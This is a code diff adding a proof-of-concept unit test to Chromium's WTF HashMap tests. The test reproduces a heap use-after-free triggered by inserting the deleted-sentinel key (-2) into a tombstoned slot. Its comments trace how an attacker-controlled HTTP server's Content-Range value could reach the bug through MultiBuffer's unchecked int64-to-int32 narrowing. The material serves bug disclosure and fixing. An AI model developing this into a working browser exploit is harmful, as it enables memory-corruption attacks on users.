diff --git a/third_party/blink/renderer/platform/wtf/hash_map_test.cc b/third_party/blink/renderer/platform/wtf/hash_map_test.cc index dba2c10899649..67fbd1b70e540 100644 --- a/third_party/blink/renderer/platform/wtf/hash_map_test.cc +++ b/third_party/blink/renderer/platform/wtf/hash_map_test.cc @@ -32,6 +32,7 @@ #include "base/containers/flat_map.h" #include "base/memory/ptr_util.h" +#include "base/memory/ref_counted.h" #include "base/memory/scoped_refptr.h" #include "testing/gtest/include/gtest/gtest.h" #include "third_party/blink/renderer/platform/wtf/allocator/allocator.h" @@ -745,6 +746,127 @@ static_assert( unsigned>(), "hash map const value iterators should be over values"); +// ----------------------------------------------------------------------------- +// POC: WTF::HashMap deleted-sentinel-key insertion -> use-after-free. +// +// MultiBuffer::DataMap is HashMap, +// IntHashTraits>. MultiBufferReader::block() narrows an +// int64 byte position to an int32 BlockId via unchecked static_cast, so a byte +// position of 0x7FFFFFFF0000 (reachable when an attacker-controlled HTTP +// server advertises a ~256TB media file via Content-Range) yields BlockId -2, +// which is exactly the IntHashTraits "deleted bucket" sentinel. In release +// builds (DCHECKs stripped) HashTable::insert() with key == deleted_value will +// match a *real* tombstone via Equal(-2, -2) and return it as an existing +// entry; HashMap::Set then assigns into the destructed scoped_refptr value +// slot, whose ptr_ was *not* nulled by ~scoped_refptr(). operator= swaps the +// stale ptr_ into a temporary which then Release()s a freed allocation. +// +// This test reproduces the exact map type and sequence +// 1) reserve to a known table size, +// 2) insert a key K whose probe slot == HashInt(-2)'s probe slot, +// 3) erase K -> tombstone (key=-2, stale scoped_refptr storage), +// 4) Set(-2, ...) -> ASAN heap-use-after-free in +// base::subtle::RefCountedThreadSafeBase::Release. +// ----------------------------------------------------------------------------- + +class SentinelPocPayload + : public base::RefCountedThreadSafe { + public: + SentinelPocPayload() = default; + + private: + friend class base::RefCountedThreadSafe; + ~SentinelPocPayload() = default; + // Padding so the freed slot is large enough for ASAN to reliably notice the + // post-free atomic decrement on the (former) refcount word. + char padding_[64] = {}; +}; + +TEST(HashMapTest, DeletedSentinelKeyUseAfterFree) { + // Mirror MultiBuffer::DataMap exactly: int32 keys, base scoped_refptr value, + // empty=-1, deleted=-2. + using PocMap = HashMap, + IntHashTraits>; + + constexpr int32_t kDeletedSentinel = -2; + + PocMap map; + // Force a deterministic table_size_ regardless of kMinimumTableSize (1 under + // ASAN, 8 otherwise) and compute the slot mask from it. + map.ReserveCapacityForSize(50); + const wtf_size_t table_size = map.Capacity(); + ASSERT_GE(table_size, 64u); + const uint32_t mask = table_size - 1; + const uint32_t target_slot = + blink::internal::HashInt(static_cast(kDeletedSentinel)) & mask; + + // Filler count: enough to prevent Shrink() (key_count*6 >= table_size) but + // well below Expand() threshold (key_count*2 < table_size). + const int needed_fillers = + static_cast((table_size + 5) / 6) + 4; // a few extra for safety + ASSERT_LT((needed_fillers + 1) * 2, static_cast(table_size)); + + // Find the smallest positive K whose primary probe slot collides with -2. + int32_t collide_key = 0; + for (int32_t k = 1; k < 1000000; ++k) { + if ((blink::internal::HashInt(static_cast(k)) & mask) == + target_slot) { + collide_key = k; + break; + } + } + ASSERT_GT(collide_key, 0); + + // Step 1: place a live entry exactly at -2's primary probe slot. The table + // is empty so K lands directly at target_slot. + map.Set(collide_key, base::MakeRefCounted()); + + // Step 2: insert filler keys (avoiding target_slot and avoiding K) so that + // erase() below does not Shrink() the table away (key_count*6 >= table_size) + // and so the table does not Expand() either (key_count*2 < table_size). + int filler_count = 0; + for (int32_t k = 1; filler_count < needed_fillers && k < 10000000; ++k) { + if (k == collide_key) + continue; + if ((blink::internal::HashInt(static_cast(k)) & mask) == + target_slot) + continue; + map.Set(k, base::MakeRefCounted()); + ++filler_count; + } + ASSERT_EQ(filler_count, needed_fillers); + ASSERT_EQ(map.Capacity(), table_size); + + // Step 3: erase K. HashTable::erase -> DeleteBucket -> ~KeyValuePair -> + // ~scoped_refptr (which Release()s and FREES the payload but leaves ptr_ + // pointing at the freed allocation), then constructs the deleted sentinel + // key (-2) over the key slot. The value slot is NOT cleared + // (Allocator::kIsGarbageCollected == false for PartitionAllocator). + map.erase(collide_key); + ASSERT_EQ(map.Capacity(), table_size); // Must not have shrunk. + + // Step 4: Set(-2, ...). HashTable::insert() probes target_slot, sees the + // tombstone with key == -2, and because kSafeToCompareToEmptyOrDeleted is + // true it calls Equal(-2, -2) BEFORE the IsDeletedBucket check, returning + // the tombstone as an "existing" entry (is_new_entry=false). HashMap::Set + // then assigns into the destructed scoped_refptr: + // result.stored_value->value = std::forward(mapped); + // -> scoped_refptr::operator=(scoped_refptr r): swap(ptr_, r.ptr_) moves the + // stale freed pointer into the by-value temporary r, which then destructs + // and calls Release() on freed memory. + // + // ASAN: heap-use-after-free in + // base::subtle::RefCountedThreadSafeBase::ReleaseImpl(). + fprintf(stderr, + "[poc] Set(-2): assigning into destructed scoped_refptr at slot %u " + "(colliding key was %d)\n", + target_slot, collide_key); + map.Set(kDeletedSentinel, base::MakeRefCounted()); + + // Not reached under ASAN. + fprintf(stderr, "[poc] no crash -- bug not reproduced on this build\n"); +} + } // anonymous namespace } // namespace blink